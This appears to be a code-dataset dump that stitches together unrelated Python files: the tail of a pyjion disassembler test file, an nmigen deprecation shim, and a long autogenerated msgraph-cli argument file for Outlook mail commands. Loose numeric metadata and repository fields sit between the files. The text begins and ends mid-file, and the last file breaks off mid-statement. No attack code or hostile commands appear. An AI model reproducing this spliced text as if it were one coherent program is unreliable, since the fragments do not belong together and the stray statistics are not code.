\x80\x01\x00\x00\xd3XM%\x0c\x16\xd3@\x1c\x00\x00\x00!\xb0\x8b]c\xd1\x7f\x00\x00\xd3(:\x00\x00\x00\x03(8\x00\x00\x00\x13\x0b8K\x00\x00\x00\x08% \x00\x00\x00\x00\xd3X%J\x17XT\x06\x1f\x1cT(\x00\x00\x00\x00%\x0c\x16\xd3@\x0b\x00\x00\x00\x03(8\x00\x00\x008 \x00\x00\x00\x08\x06\x1f\x1eT\x0b8\x1c\x00\x00\x00\t\x16>\t\x00\x00\x00&&&\t\x19\xda\r+\xf08\x00\x00\x00\x00\x16\xd38\x01\x00\x00\x00\x07\x03(B\x00\x00\x00*') print_il(test_method, symbols={}) captured = capsys.readouterr() assert "ldarg.1" in captured.out def test_thin(capsys): test_method = bytearray(b'\x03 h\x00\x00\x00\xd3X\n\x03(A\x00\x00\x00\x16\r\x06 ' b'\x00\x00\x00\x00\xd3T\x03!\xb0\xc6V)\x91\x7f\x00\x00\xd3(' b'\x00\x00\x03\x00%\x0c\x16\xd3@\x0b\x00\x00\x00\x03(' b'8\x00\x00\x008\x91\x00\x00\x00\x08\x06 ' b'\x02\x00\x00\x00\xd3T!\xf0\xc3\x13*\x91\x7f\x00\x00\xd3% ' b'\x00\x00\x00\x00\xd3X%J\x17XT\x06 \x04\x00\x00\x00\xd3T(' b'\x01\x00\x01\x00%\x0c\x16\xd3@\x0b\x00\x00\x00\x03(' b'8\x00\x00\x008P\x00\x00\x00\x08\x06 \x06\x00\x00\x00\xd3T(\x10\x00\x00\x00\x06 ' b'\x08\x00\x00\x00\xd3T!\xe0\x1e\xda\x02\x01\x00\x00\x00\xd3% ' b'\x00\x00\x00\x00\xd3X%J\x17XT\x06 ' b'\n\x00\x00\x00\xd3T\x0b\xdd\x1c\x00\x00\x00\t\x16>\t\x00\x00\x00&&&\x19\tY\r+\xf08' b'\x00\x00\x00\x00\x16\xd38\x01\x00\x00\x00\x07\x03(B\x00\x00\x00*') print_il(test_method, symbols={}) captured = capsys.readouterr() assert "ldarg.1" in captured.out @pytest.mark.skipif(sys.platform.startswith("win"), reason="no windows support yet") @pytest.mark.skipif(platform.machine() != 'x86_64', reason="Only X64 supported") @pytest.mark.external @pytest.mark.graph def test_dis_native(capsys): def test_f(): numbers = (1, 2, 3, 4) return sum(numbers) assert test_f() == 10 pyjion.disable() dis_native(test_f) captured = capsys.readouterr() assert "PUSH RBP" in captured.out @pytest.mark.skipif(sys.platform.startswith("win"), reason="no windows support yet") @pytest.mark.skipif(platform.machine() != 'x86_64', reason="Only X64 supported") @pytest.mark.external def test_dis_native_with_offsets(capsys): def test_f(): numbers = (1, 2, 3, 4) return sum(numbers) assert test_f() == 10 pyjion.disable() dis_native(test_f, True) captured = capsys.readouterr() assert "PUSH RBP" in captured.out assert "; 10 RETURN_VALUE - None (None)" in captured.out assert "; METHOD_" in captured.out def test_symbols(): def test_f(): numbers = (1, 2, 3, 4) return sum(numbers) assert test_f() == 10 symbols = pyjion.symbols(test_f) assert len(symbols) != 0 names = list(symbols.values()) assert "METHOD_SUBSCR_LIST_SLICE_REVERSED" in names

44.564516

1,842

0.640065

1,002

5,526

3.471058

0.144711

0.294997

0.20184

0.055204

0.790397

0.761645

0.730017

0.712478

0.704428

0.665325

0

0.229709

0.172819

5,526

123

1,843

44.926829

0.531175

0

0.510638

0

0.117021

0.501267

0.453674

0

0.212766

1

0.170213

false

0

0.053191

0.010638

0.297872

0.031915

0

null

1

0

1

0

1

0

1

0

1

null

0

10

b74334522616a59602b0489150332a3bdda00f0a

199

py

Python

nmigen/hdl/ast.py

psumesh/nmigen

7d611b8fc1d9e58853ff268ec38ff8f4131a9774

[ "BSD-2-Clause" ]

528

2020-01-28T18:21:00.000Z

2021-12-09T06:27:51.000Z

nmigen/hdl/ast.py

psumesh/nmigen

7d611b8fc1d9e58853ff268ec38ff8f4131a9774

[ "BSD-2-Clause" ]

360

2020-01-28T18:34:30.000Z

2021-12-10T08:03:32.000Z

nmigen/hdl/ast.py

psumesh/nmigen

7d611b8fc1d9e58853ff268ec38ff8f4131a9774

[ "BSD-2-Clause" ]

100

2020-02-06T21:55:46.000Z

2021-11-25T19:20:44.000Z

from amaranth.hdl.ast import * from amaranth.hdl.ast import __all__ import warnings warnings.warn("instead of nmigen.hdl.ast, use amaranth.hdl.ast", DeprecationWarning, stacklevel=2)

24.875

64

0.743719

27

199

5.333333

0.555556

0.166667

0.291667

0.25

0.333333

0

0.006024

0.165829

199

7

65

28.428571

0.861446

0

0.236181

0

1

0

true

0

0.6

0

0.6

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

7

3f85728493379361b2c836f288699eeec472df90

113,793

py

Python

msgraph-cli-extensions/v1_0/mail_v1_0/azext_mail_v1_0/generated/_params.py

thewahome/msgraph-cli

33127d9efa23a0e5f5303c93242fbdbb73348671

[ "MIT" ]

null

msgraph-cli-extensions/v1_0/mail_v1_0/azext_mail_v1_0/generated/_params.py

thewahome/msgraph-cli

33127d9efa23a0e5f5303c93242fbdbb73348671

[ "MIT" ]

null

msgraph-cli-extensions/v1_0/mail_v1_0/azext_mail_v1_0/generated/_params.py

thewahome/msgraph-cli

33127d9efa23a0e5f5303c93242fbdbb73348671

[ "MIT" ]

null

# -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- # pylint: disable=line-too-long # pylint: disable=too-many-lines # pylint: disable=too-many-statements from msgraph.cli.core.commands.parameters import ( get_three_state_flag, get_enum_type ) from msgraph.cli.core.commands.validators import validate_file_or_dict from azext_mail_v1_0.action import ( AddMailUserCreateMailFolderMultiValueExtendedProperties, AddMailUserCreateMailFolderSingleValueExtendedProperties, AddBody, AddInternetMessageHeaders, AddAttachments, AddExtensions, AddMailUserCreateMessageMultiValueExtendedProperties, AddMailUserCreateMessageSingleValueExtendedProperties, AddEmailAddress, AddCompletedDateTime, AddWithinSizeRange ) def load_arguments(self, _): with self.argument_context('mail user create-mail-folder') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('child_folder_count', type=int, help='The number of immediate child mailFolders in the current ' 'mailFolder.') c.argument('display_name', type=str, help='The mailFolder\'s display name.') c.argument('parent_folder_id', type=str, help='The unique identifier for the mailFolder\'s parent mailFolder.') c.argument('total_item_count', type=int, help='The number of items in the mailFolder.') c.argument('unread_item_count', type=int, help='The number of items in the mailFolder marked as unread.') c.argument('child_folders', type=validate_file_or_dict, help='The collection of child folders in the ' 'mailFolder. Expected value: json-string/@json-file.') c.argument('message_rules', type=validate_file_or_dict, help='The collection of rules that apply to the ' 'user\'s Inbox folder. Expected value: json-string/@json-file.') c.argument('messages', type=validate_file_or_dict, help='The collection of messages in the mailFolder. ' 'Expected value: json-string/@json-file.') c.argument('multi_value_extended_properties', action=AddMailUserCreateMailFolderMultiValueExtendedProperties, nargs='+', help='The collection of multi-value extended properties defined for the mailFolder. ' 'Read-only. Nullable.') c.argument('single_value_extended_properties', action=AddMailUserCreateMailFolderSingleValueExtendedProperties, nargs='+', help='The collection of single-value extended properties defined for the mailFolder. ' 'Read-only. Nullable.') with self.argument_context('mail user create-message') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('categories', nargs='+', help='The categories associated with the item') c.argument('change_key', type=str, help='Identifies the version of the item. Every time the item is changed, ' 'changeKey changes as well. This allows Exchange to apply changes to the correct version of the ' 'object. Read-only.') c.argument('created_date_time', help='The Timestamp type represents date and time information using ISO 8601 ' 'format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like this: ' '\'2014-01-01T00:00:00Z\'') c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO ' '8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like ' 'this: \'2014-01-01T00:00:00Z\'') c.argument('bcc_recipients', type=validate_file_or_dict, help='The Bcc: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('body', action=AddBody, nargs='+', help='itemBody') c.argument('body_preview', type=str, help='The first 255 characters of the message body. It is in text format.') c.argument('cc_recipients', type=validate_file_or_dict, help='The Cc: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('conversation_id', type=str, help='The ID of the conversation the email belongs to.') c.argument('conversation_index', help='Indicates the position of the message within the conversation.') c.argument('has_attachments', arg_type=get_three_state_flag(), help='Indicates whether the message has ' 'attachments. This property doesn\'t include inline attachments, so if a message contains only ' 'inline attachments, this property is false. To verify the existence of inline attachments, parse ' 'the body property to look for a src attribute, such as <IMG src=\'cid:image001.jpg@01D26CD8.6C05F07' '0\'>.') c.argument('importance', arg_type=get_enum_type(['low', 'normal', 'high']), help='') c.argument('inference_classification', arg_type=get_enum_type(['focused', 'other']), help='') c.argument('internet_message_headers', action=AddInternetMessageHeaders, nargs='+', help='A collection of ' 'message headers defined by RFC5322. The set includes message headers indicating the network path ' 'taken by a message from the sender to the recipient. It can also contain custom message headers ' 'that hold app data for the message. Returned only on applying a $select query option. Read-only.') c.argument('internet_message_id', type=str, help='The message ID in the format specified by RFC2822.') c.argument('is_delivery_receipt_requested', arg_type=get_three_state_flag(), help='Indicates whether a read ' 'receipt is requested for the message.') c.argument('is_draft', arg_type=get_three_state_flag(), help='Indicates whether the message is a draft. A ' 'message is a draft if it hasn\'t been sent yet.') c.argument('is_read', arg_type=get_three_state_flag(), help='Indicates whether the message has been read.') c.argument('is_read_receipt_requested', arg_type=get_three_state_flag(), help='Indicates whether a read ' 'receipt is requested for the message.') c.argument('parent_folder_id', type=str, help='The unique identifier for the message\'s parent mailFolder.') c.argument('received_date_time', help='The date and time the message was received.') c.argument('reply_to', type=validate_file_or_dict, help='The email addresses to use when replying. Expected ' 'value: json-string/@json-file.') c.argument('sent_date_time', help='The date and time the message was sent.') c.argument('subject', type=str, help='The subject of the message.') c.argument('to_recipients', type=validate_file_or_dict, help='The To: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('unique_body', action=AddBody, nargs='+', help='itemBody') c.argument('web_link', type=str, help='The URL to open the message in Outlook Web App.You can append an ' 'ispopout argument to the end of the URL to change how the message is displayed. If ispopout is not ' 'present or if it is set to 1, then the message is shown in a popout window. If ispopout is set to ' '0, then the browser will show the message in the Outlook Web App review pane.The message will open ' 'in the browser if you are logged in to your mailbox via Outlook Web App. You will be prompted to ' 'login if you are not already logged in with the browser.This URL can be accessed from within an ' 'iFrame.') c.argument('attachments', action=AddAttachments, nargs='+', help='The fileAttachment and itemAttachment ' 'attachments for the message.') c.argument('extensions', action=AddExtensions, nargs='+', help='The collection of open extensions defined for ' 'the message. Nullable.') c.argument('multi_value_extended_properties', action=AddMailUserCreateMessageMultiValueExtendedProperties, nargs='+', help='The collection of multi-value extended properties defined for the message. ' 'Nullable.') c.argument('single_value_extended_properties', action=AddMailUserCreateMessageSingleValueExtendedProperties, nargs='+', help='The collection of single-value extended properties defined for the message. ' 'Nullable.') c.argument('email_address', action=AddEmailAddress, nargs='+', help='emailAddress', arg_group='Sender') c.argument('microsoft_graph_email_address', action=AddEmailAddress, nargs='+', help='emailAddress', arg_group='From') c.argument('completed_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') c.argument('due_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') c.argument('flag_status', arg_type=get_enum_type(['notFlagged', 'complete', 'flagged']), help='', arg_group='Flag') c.argument('start_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') with self.argument_context('mail user delete-inference-classification') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user delete-mail-folder') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user delete-message') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user list-mail-folder') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user list-message') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user show-inference-classification') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user show-mail-folder') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user show-message') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user update-inference-classification') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('overrides', type=validate_file_or_dict, help='A set of overrides for a user to always classify ' 'messages from specific senders in certain ways: focused, or other. Read-only. Nullable. Expected ' 'value: json-string/@json-file.') with self.argument_context('mail user update-mail-folder') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('child_folder_count', type=int, help='The number of immediate child mailFolders in the current ' 'mailFolder.') c.argument('display_name', type=str, help='The mailFolder\'s display name.') c.argument('parent_folder_id', type=str, help='The unique identifier for the mailFolder\'s parent mailFolder.') c.argument('total_item_count', type=int, help='The number of items in the mailFolder.') c.argument('unread_item_count', type=int, help='The number of items in the mailFolder marked as unread.') c.argument('child_folders', type=validate_file_or_dict, help='The collection of child folders in the ' 'mailFolder. Expected value: json-string/@json-file.') c.argument('message_rules', type=validate_file_or_dict, help='The collection of rules that apply to the ' 'user\'s Inbox folder. Expected value: json-string/@json-file.') c.argument('messages', type=validate_file_or_dict, help='The collection of messages in the mailFolder. ' 'Expected value: json-string/@json-file.') c.argument('multi_value_extended_properties', action=AddMailUserCreateMailFolderMultiValueExtendedProperties, nargs='+', help='The collection of multi-value extended properties defined for the mailFolder. ' 'Read-only. Nullable.') c.argument('single_value_extended_properties', action=AddMailUserCreateMailFolderSingleValueExtendedProperties, nargs='+', help='The collection of single-value extended properties defined for the mailFolder. ' 'Read-only. Nullable.') with self.argument_context('mail user update-message') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('categories', nargs='+', help='The categories associated with the item') c.argument('change_key', type=str, help='Identifies the version of the item. Every time the item is changed, ' 'changeKey changes as well. This allows Exchange to apply changes to the correct version of the ' 'object. Read-only.') c.argument('created_date_time', help='The Timestamp type represents date and time information using ISO 8601 ' 'format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like this: ' '\'2014-01-01T00:00:00Z\'') c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO ' '8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like ' 'this: \'2014-01-01T00:00:00Z\'') c.argument('bcc_recipients', type=validate_file_or_dict, help='The Bcc: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('body', action=AddBody, nargs='+', help='itemBody') c.argument('body_preview', type=str, help='The first 255 characters of the message body. It is in text format.') c.argument('cc_recipients', type=validate_file_or_dict, help='The Cc: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('conversation_id', type=str, help='The ID of the conversation the email belongs to.') c.argument('conversation_index', help='Indicates the position of the message within the conversation.') c.argument('has_attachments', arg_type=get_three_state_flag(), help='Indicates whether the message has ' 'attachments. This property doesn\'t include inline attachments, so if a message contains only ' 'inline attachments, this property is false. To verify the existence of inline attachments, parse ' 'the body property to look for a src attribute, such as <IMG src=\'cid:image001.jpg@01D26CD8.6C05F07' '0\'>.') c.argument('importance', arg_type=get_enum_type(['low', 'normal', 'high']), help='') c.argument('inference_classification', arg_type=get_enum_type(['focused', 'other']), help='') c.argument('internet_message_headers', action=AddInternetMessageHeaders, nargs='+', help='A collection of ' 'message headers defined by RFC5322. The set includes message headers indicating the network path ' 'taken by a message from the sender to the recipient. It can also contain custom message headers ' 'that hold app data for the message. Returned only on applying a $select query option. Read-only.') c.argument('internet_message_id', type=str, help='The message ID in the format specified by RFC2822.') c.argument('is_delivery_receipt_requested', arg_type=get_three_state_flag(), help='Indicates whether a read ' 'receipt is requested for the message.') c.argument('is_draft', arg_type=get_three_state_flag(), help='Indicates whether the message is a draft. A ' 'message is a draft if it hasn\'t been sent yet.') c.argument('is_read', arg_type=get_three_state_flag(), help='Indicates whether the message has been read.') c.argument('is_read_receipt_requested', arg_type=get_three_state_flag(), help='Indicates whether a read ' 'receipt is requested for the message.') c.argument('parent_folder_id', type=str, help='The unique identifier for the message\'s parent mailFolder.') c.argument('received_date_time', help='The date and time the message was received.') c.argument('reply_to', type=validate_file_or_dict, help='The email addresses to use when replying. Expected ' 'value: json-string/@json-file.') c.argument('sent_date_time', help='The date and time the message was sent.') c.argument('subject', type=str, help='The subject of the message.') c.argument('to_recipients', type=validate_file_or_dict, help='The To: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('unique_body', action=AddBody, nargs='+', help='itemBody') c.argument('web_link', type=str, help='The URL to open the message in Outlook Web App.You can append an ' 'ispopout argument to the end of the URL to change how the message is displayed. If ispopout is not ' 'present or if it is set to 1, then the message is shown in a popout window. If ispopout is set to ' '0, then the browser will show the message in the Outlook Web App review pane.The message will open ' 'in the browser if you are logged in to your mailbox via Outlook Web App. You will be prompted to ' 'login if you are not already logged in with the browser.This URL can be accessed from within an ' 'iFrame.') c.argument('attachments', action=AddAttachments, nargs='+', help='The fileAttachment and itemAttachment ' 'attachments for the message.') c.argument('extensions', action=AddExtensions, nargs='+', help='The collection of open extensions defined for ' 'the message. Nullable.') c.argument('multi_value_extended_properties', action=AddMailUserCreateMessageMultiValueExtendedProperties, nargs='+', help='The collection of multi-value extended properties defined for the message. ' 'Nullable.') c.argument('single_value_extended_properties', action=AddMailUserCreateMessageSingleValueExtendedProperties, nargs='+', help='The collection of single-value extended properties defined for the message. ' 'Nullable.') c.argument('email_address', action=AddEmailAddress, nargs='+', help='emailAddress', arg_group='Sender') c.argument('microsoft_graph_email_address', action=AddEmailAddress, nargs='+', help='emailAddress', arg_group='From') c.argument('completed_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') c.argument('due_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') c.argument('flag_status', arg_type=get_enum_type(['notFlagged', 'complete', 'flagged']), help='', arg_group='Flag') c.argument('start_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') with self.argument_context('mail user-inference-classification create-override') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('classify_as', arg_type=get_enum_type(['focused', 'other']), help='') c.argument('sender_email_address', action=AddEmailAddress, nargs='+', help='emailAddress') with self.argument_context('mail user-inference-classification delete-override') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('inference_classification_override_id', type=str, help='key: id of inferenceClassificationOverride') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-inference-classification list-override') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-inference-classification show-override') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('inference_classification_override_id', type=str, help='key: id of inferenceClassificationOverride') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-inference-classification update-override') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('inference_classification_override_id', type=str, help='key: id of inferenceClassificationOverride') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('classify_as', arg_type=get_enum_type(['focused', 'other']), help='') c.argument('sender_email_address', action=AddEmailAddress, nargs='+', help='emailAddress') with self.argument_context('mail user-mail-folder create-child-folder') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('child_folder_count', type=int, help='The number of immediate child mailFolders in the current ' 'mailFolder.') c.argument('display_name', type=str, help='The mailFolder\'s display name.') c.argument('parent_folder_id', type=str, help='The unique identifier for the mailFolder\'s parent mailFolder.') c.argument('total_item_count', type=int, help='The number of items in the mailFolder.') c.argument('unread_item_count', type=int, help='The number of items in the mailFolder marked as unread.') c.argument('child_folders', type=validate_file_or_dict, help='The collection of child folders in the ' 'mailFolder. Expected value: json-string/@json-file.') c.argument('message_rules', type=validate_file_or_dict, help='The collection of rules that apply to the ' 'user\'s Inbox folder. Expected value: json-string/@json-file.') c.argument('messages', type=validate_file_or_dict, help='The collection of messages in the mailFolder. ' 'Expected value: json-string/@json-file.') c.argument('multi_value_extended_properties', action=AddMailUserCreateMailFolderMultiValueExtendedProperties, nargs='+', help='The collection of multi-value extended properties defined for the mailFolder. ' 'Read-only. Nullable.') c.argument('single_value_extended_properties', action=AddMailUserCreateMailFolderSingleValueExtendedProperties, nargs='+', help='The collection of single-value extended properties defined for the mailFolder. ' 'Read-only. Nullable.') with self.argument_context('mail user-mail-folder create-message') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('categories', nargs='+', help='The categories associated with the item') c.argument('change_key', type=str, help='Identifies the version of the item. Every time the item is changed, ' 'changeKey changes as well. This allows Exchange to apply changes to the correct version of the ' 'object. Read-only.') c.argument('created_date_time', help='The Timestamp type represents date and time information using ISO 8601 ' 'format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like this: ' '\'2014-01-01T00:00:00Z\'') c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO ' '8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like ' 'this: \'2014-01-01T00:00:00Z\'') c.argument('bcc_recipients', type=validate_file_or_dict, help='The Bcc: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('body', action=AddBody, nargs='+', help='itemBody') c.argument('body_preview', type=str, help='The first 255 characters of the message body. It is in text format.') c.argument('cc_recipients', type=validate_file_or_dict, help='The Cc: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('conversation_id', type=str, help='The ID of the conversation the email belongs to.') c.argument('conversation_index', help='Indicates the position of the message within the conversation.') c.argument('has_attachments', arg_type=get_three_state_flag(), help='Indicates whether the message has ' 'attachments. This property doesn\'t include inline attachments, so if a message contains only ' 'inline attachments, this property is false. To verify the existence of inline attachments, parse ' 'the body property to look for a src attribute, such as <IMG src=\'cid:image001.jpg@01D26CD8.6C05F07' '0\'>.') c.argument('importance', arg_type=get_enum_type(['low', 'normal', 'high']), help='') c.argument('inference_classification', arg_type=get_enum_type(['focused', 'other']), help='') c.argument('internet_message_headers', action=AddInternetMessageHeaders, nargs='+', help='A collection of ' 'message headers defined by RFC5322. The set includes message headers indicating the network path ' 'taken by a message from the sender to the recipient. It can also contain custom message headers ' 'that hold app data for the message. Returned only on applying a $select query option. Read-only.') c.argument('internet_message_id', type=str, help='The message ID in the format specified by RFC2822.') c.argument('is_delivery_receipt_requested', arg_type=get_three_state_flag(), help='Indicates whether a read ' 'receipt is requested for the message.') c.argument('is_draft', arg_type=get_three_state_flag(), help='Indicates whether the message is a draft. A ' 'message is a draft if it hasn\'t been sent yet.') c.argument('is_read', arg_type=get_three_state_flag(), help='Indicates whether the message has been read.') c.argument('is_read_receipt_requested', arg_type=get_three_state_flag(), help='Indicates whether a read ' 'receipt is requested for the message.') c.argument('parent_folder_id', type=str, help='The unique identifier for the message\'s parent mailFolder.') c.argument('received_date_time', help='The date and time the message was received.') c.argument('reply_to', type=validate_file_or_dict, help='The email addresses to use when replying. Expected ' 'value: json-string/@json-file.') c.argument('sent_date_time', help='The date and time the message was sent.') c.argument('subject', type=str, help='The subject of the message.') c.argument('to_recipients', type=validate_file_or_dict, help='The To: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('unique_body', action=AddBody, nargs='+', help='itemBody') c.argument('web_link', type=str, help='The URL to open the message in Outlook Web App.You can append an ' 'ispopout argument to the end of the URL to change how the message is displayed. If ispopout is not ' 'present or if it is set to 1, then the message is shown in a popout window. If ispopout is set to ' '0, then the browser will show the message in the Outlook Web App review pane.The message will open ' 'in the browser if you are logged in to your mailbox via Outlook Web App. You will be prompted to ' 'login if you are not already logged in with the browser.This URL can be accessed from within an ' 'iFrame.') c.argument('attachments', action=AddAttachments, nargs='+', help='The fileAttachment and itemAttachment ' 'attachments for the message.') c.argument('extensions', action=AddExtensions, nargs='+', help='The collection of open extensions defined for ' 'the message. Nullable.') c.argument('multi_value_extended_properties', action=AddMailUserCreateMessageMultiValueExtendedProperties, nargs='+', help='The collection of multi-value extended properties defined for the message. ' 'Nullable.') c.argument('single_value_extended_properties', action=AddMailUserCreateMessageSingleValueExtendedProperties, nargs='+', help='The collection of single-value extended properties defined for the message. ' 'Nullable.') c.argument('email_address', action=AddEmailAddress, nargs='+', help='emailAddress', arg_group='Sender') c.argument('microsoft_graph_email_address', action=AddEmailAddress, nargs='+', help='emailAddress', arg_group='From') c.argument('completed_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') c.argument('due_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') c.argument('flag_status', arg_type=get_enum_type(['notFlagged', 'complete', 'flagged']), help='', arg_group='Flag') c.argument('start_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') with self.argument_context('mail user-mail-folder create-message-rule') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('display_name', type=str, help='The display name of the rule.') c.argument('has_error', arg_type=get_three_state_flag(), help='Indicates whether the rule is in an error ' 'condition. Read-only.') c.argument('is_enabled', arg_type=get_three_state_flag(), help='Indicates whether the rule is enabled to be ' 'applied to messages.') c.argument('is_read_only', arg_type=get_three_state_flag(), help='Indicates if the rule is read-only and ' 'cannot be modified or deleted by the rules REST API.') c.argument('sequence', type=int, help='Indicates the order in which the rule is executed, among other rules.') c.argument('body_contains', nargs='+', help='Represents the strings that should appear in the body of an ' 'incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('body_or_subject_contains', nargs='+', help='Represents the strings that should appear in the body ' 'or subject of an incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('categories', nargs='+', help='Represents the categories that an incoming message should be labeled ' 'with in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('from_addresses', type=validate_file_or_dict, help='Represents the specific sender email addresses ' 'of an incoming message in order for the condition or exception to apply. Expected value: ' 'json-string/@json-file.', arg_group='Exceptions') c.argument('has_attachments', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must have attachments in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('header_contains', nargs='+', help='Represents the strings that appear in the headers of an ' 'incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('importance', arg_type=get_enum_type(['low', 'normal', 'high']), help='', arg_group='Exceptions') c.argument('exceptions_is_approval_request', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be an approval request in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_automatic_forward', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be automatically forwarded in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_automatic_reply', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be an auto reply in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_encrypted', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be encrypted in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_meeting_request', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be a meeting request in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_meeting_response', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be a meeting response in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_non_delivery_report', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be a non-delivery report in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_permission_controlled', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be permission controlled (RMS-protected) in order for the condition or ' 'exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_read_receipt', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be a read receipt in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_signed', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be S/MIME-signed in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_voicemail', 